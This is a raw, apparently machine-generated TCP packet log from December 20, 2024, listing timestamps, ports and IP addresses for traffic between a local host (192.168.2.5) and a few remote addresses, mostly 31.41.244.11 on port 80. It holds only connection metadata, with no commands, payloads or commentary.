Dec 20, 2024 02:11:32.605597019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.606054068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.606064081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.606102943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.606751919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.606794119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.606859922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.606903076 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.607391119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.607430935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.607472897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.607508898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.608069897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.608108997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.608221054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.608262062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.608781099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.608820915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.608889103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.608927965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.609483957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.609519005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.609591007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.609630108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.610168934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.610275984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.610290051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.610310078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.610857010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.610937119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.618377924 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:32.618464947 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:32.618544102 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:32.619155884 CET	49898	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:32.619190931 CET	443	49898	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:32.766616106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.766630888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.766690016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.766869068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.766922951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.766971111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.767024040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.767091036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.767138004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.767422915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.767472982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.767676115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.767735958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.768095016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.768147945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.768328905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.768378019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.768800020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.768851042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.768861055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.768893003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.769510984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.769619942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.769663095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.770196915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.770250082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.770288944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.770354033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.770895004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.770956993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.770993948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.771039009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.771573067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.771620989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.771692038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.771739006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.772274971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.772320032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.772384882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.772433043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.773010969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.773067951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.773104906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.773163080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.773710012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.773770094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.773802042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.773849964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.774378061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.774483919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.774533987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.775085926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.775134087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.775208950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.775258064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.775790930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.775861025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.775916100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.775965929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.776489973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.776546955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.776909113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.776972055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.777152061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.777206898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.777211905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.777256966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.777873993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.777973890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.778023005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.778553963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.778611898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.778664112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.778712034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.779297113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.779342890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.779377937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.779499054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.779968023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.780112028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.780164957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.780663013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.780709982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.780749083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.780796051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.781373978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.781424999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.781478882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.781532049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.782049894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.782143116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.782192945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.782746077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.782852888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.782907009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.783431053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.783479929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.783541918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.783592939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.784147978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.784194946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.784214020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.784252882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.784825087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.784873962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.784934998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.784979105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.785566092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.785615921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.785654068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.785700083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.786247969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.786381960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.786431074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.787003040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.787056923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.787069082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.787112951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.787648916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.787707090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.787750006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.787795067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.788335085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.788444996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.788492918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.789064884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.789119959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.789159060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.789207935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.789724112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.789773941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.789783955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.789836884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.790466070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.790525913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.790555000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.790605068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.791130066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.791239023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.791294098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.791825056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.791888952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.791901112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.791939020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.792542934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.792606115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.792690039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.792745113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.793215036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.793330908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.793833017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.793930054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.793977976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.794054985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.794109106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.794608116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.794657946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.794733047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.794781923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.795305014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.795460939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.795464993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.795512915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.795996904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.796088934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.796108961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.796156883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.796732903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.796785116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.796824932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.796870947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.797389030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.797439098 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.797529936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.797579050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.798096895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.798154116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.798177004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.798218966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.798782110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.798826933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.798911095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.798964977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.799529076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.799580097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.799659014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.799706936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.800211906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.800266027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.800333023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.800375938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.800908089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.800949097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.800976992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.800996065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.801599026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.801651955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.801692963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.801737070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.802359104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.802407026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.802460909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.802509069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.802942038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.802985907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.822175026 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:32.822266102 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:32.822396040 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:32.822638035 CET	49900	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:32.822673082 CET	443	49900	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:32.958980083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.959047079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.959108114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.959249973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.959252119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.959317923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.959429979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.959498882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.959961891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.960016012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.960062027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.960124016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.960628986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.960680962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.960787058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.961361885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.961424112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.961560011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.961623907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.962049007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.962141037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.962163925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.962219000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.962783098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.962835073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.962872028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.962920904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.963444948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.963499069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.963617086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.963682890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.964139938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.964199066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.964237928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.964288950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.964842081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.964899063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.964907885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.964948893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.965538979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.965595007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.965724945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.965779066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.966301918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.966356993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.966377020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.966430902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.966937065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.966991901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.967036963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.967092037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.967618942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.967670918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.967719078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.967768908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.968312979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.968364000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.968426943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.968477964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.969121933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.969175100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.969222069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.969274044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.969782114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.969836950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.969852924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.969902039 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.970401049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.970455885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.970514059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.970566034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.971110106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.971163988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.971210003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.971261024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.971807957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.971860886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.971913099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.971966982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.972502947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.972560883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.972563028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.972618103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.973207951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.973262072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.973331928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.973385096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.973908901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.973965883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.974036932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.974092007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.974602938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.974656105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:32.974724054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:32.974783897 CET	49875	80	192.168.2.5	31.41.244.11
